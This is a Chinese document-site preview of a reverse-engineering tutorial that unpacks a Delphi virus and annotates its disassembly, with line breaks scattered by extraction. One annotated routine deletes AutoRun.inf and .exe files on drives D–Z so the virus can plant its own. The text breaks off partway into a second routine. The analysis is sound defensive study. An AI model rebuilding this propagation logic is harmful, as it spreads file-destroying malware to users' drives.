反汇编教程Word文档下载推荐.docx

上传人:b****5 文档编号:19382004 上传时间:2023-01-05 格式:DOCX 页数:38 大小:39.50KB
下载 相关 举报
反汇编教程Word文档下载推荐.docx_第1页
第1页 / 共38页
反汇编教程Word文档下载推荐.docx_第2页
第2页 / 共38页
反汇编教程Word文档下载推荐.docx_第3页
第3页 / 共38页
反汇编教程Word文档下载推荐.docx_第4页
第4页 / 共38页
反汇编教程Word文档下载推荐.docx_第5页
第5页 / 共38页
点击查看更多>>
下载资源
资源描述

反汇编教程Word文档下载推荐.docx

《反汇编教程Word文档下载推荐.docx》由会员分享,可在线阅读,更多相关《反汇编教程Word文档下载推荐.docx(38页珍藏版)》请在冰豆网上搜索。

反汇编教程Word文档下载推荐.docx

6AFF 

-1

0041C08E 

6866666600 

666666

0041C093 

6888888800 

888888 

;

SE处理程序安装

0041C098 

64:

A10000000>

mov 

eax,dwordptrfs:

[0]

0041C09E 

50 

eax

0041C09F 

892500000>

dwordptrfs:

[0],esp

0041C0A6 

58 

pop 

0041C0A7 

A30000000>

[0],eax

0041C0AD 

90 

nop

0041C0AE 

720C 

jb 

short0041C0BC

0041C0B0 

730A 

jnb 

0041C0B2 

>

0041C0B3 

0041C0B4 

0041C0B5 

0041C0B6 

7210 

short0041C0C8

0041C0B8 

730E 

0041C0BA 

0000 

add 

byteptr[eax],al

0041C0BC 

0041C0BD 

0041C0BE 

0041C0BF 

0041C0C0 

.^72F0 

short0041C0B2

0041C0C2 

.^73EE 

0041C0C4 

0041C0C6 

0041C0C8 

0041C0C9 

0041C0CA 

0041C0CB 

0041C0CC 

0041C0CD 

0041C0CE 

83C401 

esp,1

0041C0D1 

0041C0D2 

0041C0D3 

0041C0D4 

83C4FF 

esp,-1

0041C0D7 

0041C0D8 

.^0F8276D8FEFFjb 

00409954

0041C0DE 

.^0F8370D8FEFFjnb 

最后2句

玩过免杀的人都知道,这2句合成的效果就是jmp00409954

我们到00409954看看,

00409954 

/>

/55 

00409955 

|.|8BEC 

00409957 

|.|B90E000000 

ecx,0E

0040995C 

|>

|6A00 

/push 

0

0040995E 

|.|6A00 

|push 

00409960 

|.|49 

|dec 

ecx

00409961 

|.^|75F9 

\jnz 

short0040995C

这个头好点熟悉啊,玩破解的人应该知道是什么语言的oep了吧?

!

我们在00409954按F4,dump出来

查壳BorlandDelphi6.0-7.0

成功脱壳去花了,下面就来简单分析这个病毒的工作原理吧

为了安全起见,我推荐在虚拟机或者影子系统上分析

我机子配置比较差,只好直接分析了(一不小心运行就...)

不过为了安全,我们还是对关键的函数下断点

对那些CreateFile,CopyFile,DeleteFile这些文件操作的函数下断

最好还打开文件监控和注册表监控的软件

如果api不熟悉的话,可以用这个软件

LiquidX函数查询宝典V2.0Pro

下载地址

我在这里就直接右键,查找,所以参考文本字符串

可以看到一堆的字符串了

然后双击一些关键的字符串进去简单分析分析算了

比如分析一下这里:

文本字串参考位于d2:

条目557

地址=00408A6A

反汇编=mov 

ecx,00408B40

文本字串=ASCII"

AutoRun.inf"

双击来到下面函数:

004089F0 

/$ 

004089F1 

|. 

004089F3 

83C4D0 

esp,-30

004089F6 

53 

ebx

004089F7 

56 

esi

004089F8 

57 

edi

004089F9 

33C0 

xor 

eax,eax 

初始化一些局部变量

004089FB 

8945D0 

dwordptr[ebp-30],eax

004089FE 

8945D4 

dwordptr[ebp-2C],eax

00408A01 

8945FC 

dwordptr[ebp-4],eax

00408A04 

8945F8 

dwordptr[ebp-8],eax

00408A07 

8945F4 

dwordptr[ebp-C],eax

00408A0A 

8945F0 

dwordptr[ebp-10],eax

00408A0D 

eax,eax

00408A0F 

00408A10 

68F58A4000 

00408AF5

00408A15 

FF30 

[eax]

00408A18 

8920 

[eax],esp

00408A1B 

BE048B4000 

esi,00408B04 

ASCII"

DEFGHIJKLMNOPQRSTUVWXYZ"

;

看样子是想遍历所有磁盘了

C盘肯定是系统盘,所以不用遍历

00408A20 

8D7DD9 

lea 

edi,dwordptr[ebp-27]

00408A23 

B905000000 

ecx,5

00408A28 

F3:

A5 

rep 

movsdwordptres:

[edi],dwordptr[esi]

00408A2A 

66:

movs 

wordptres:

[edi],wordptr[esi]

00408A2C 

A4 

byteptres:

[edi],byteptr[esi]

00408A2D 

8D45D4 

eax,dwordptr[ebp-2C]

00408A30 

E863C1FFFF 

call 

00404B98

00408A35 

8B55D4 

edx,dwordptr[ebp-2C]

00408A38 

8D45F8 

eax,dwordptr[ebp-8]

00408A3B 

B9248B4000 

ecx,00408B24 

.exe"

00408A40 

E82FACFFFF 

00403674

00408A45 

BE17000000 

esi,17 

循环0x17次,23次,就是上面的字母数了

00408A4A 

8D5DD9 

ebx,dwordptr[ebp-27]

00408A4D 

8D45D0 

/lea 

eax,dwordptr[ebp-30]

00408A50 

8A13 

|mov 

dl,byteptr[ebx]

00408A52 

E879ABFFFF 

|call 

004035D0

00408A57 

8B55D0 

edx,dwordptr[ebp-30]

00408A5A 

8D45FC 

|lea 

eax,dwordptr[ebp-4]

00408A5D 

B9348B4000 

ecx,00408B34 

:

\"

00408A62 

E80DACFFFF 

00408A67 

8D45F4 

eax,dwordptr[ebp-C]

00408A6A 

B9408B4000 

ecx,00408B40 

00408A6F 

8B55FC 

edx,dwordptr[ebp-4]

00408A72 

E8FDABFFFF 

00408A77 

8D45F0 

eax,dwordptr[ebp-10]

00408A7A 

8B4DF8 

ecx,dwordptr[ebp-8]

00408A7D 

00408A80 

E8EFABFFFF 

00408A85 

8B45FC 

00408A88 

E89BADFFFF 

00403828

00408A8D 

eax 

/RootPathName

00408A8E 

E8E1B5FFFF 

<

jmp.&

kernel32.GetDriveTypeA>

\GetDriveTypeA

00408A93 

83F803 

|cmp 

ax,3 

判断是否为固定硬盘

00408A97 

7530 

|jnz 

short00408AC9 

不是的话就跳

00408A99 

6A00 

SetFileAttributes的参数,normal属性

00408A9B 

8B45F4 

00408A9E 

E885ADFFFF 

00403828 

跟进,发现是使eax指向0040382D

00408AA3 

8BF8 

edi,eax 

|

00408AA5 

edi 

|FileName

00408AA6 

E869B6FFFF 

kernel32.SetFileAttributesA>

\SetFileAttributesA

00408AAB 

/FileName

00408AAC 

E89BB5FFFF 

kernel32.DeleteFileA>

\DeleteFileA

00408AB1 

00408AB3 

8B45F0 

00408AB6 

E86DADFFFF 

00408ABB 

00408ABD 

00408ABE 

E851B6FFFF 

00408AC3 

00408AC4 

E883B5FFFF 

00408AC9 

43 

|inc 

00408ACA 

4E 

00408ACB 

|.^7580 

short00408A4D

00408ACD 

00408ACF 

5A 

edx

00408AD0 

59 

00408AD1 

00408AD2 

8910 

[eax],edx

00408AD5 

68FC8A4000 

00408AFC

00408ADA 

00408ADD 

BA02000000 

edx,2

00408AE2 

E8EDA9FFFF 

004034D4

00408AE7 

00408AEA 

BA04000000 

edx,4

00408AEF 

E8E0A9FFFF 

00408AF4 

\. 

C3 

retn

这个函数简单看来好像是遍历所有磁盘,把原来的存在的AutoRun.inf以及.exe删掉

然后再放进他自己的AutoRun.inf和病毒.exe

还有其他功能可能要动态分析了,我们简单分析一下就够了,去下一个函数吧

就在刚才那个的下面,找到这个吧

条目563

地址=00408B8B

eax,00408E14

Explorer.Exe"

双击来到下面:

00408B4C 

00408B4D 

00408B4F 

B90A000000 

ecx,0A

00408B54 

00408B56 

00408B58 

49 

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 党团工作 > 入党转正申请

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1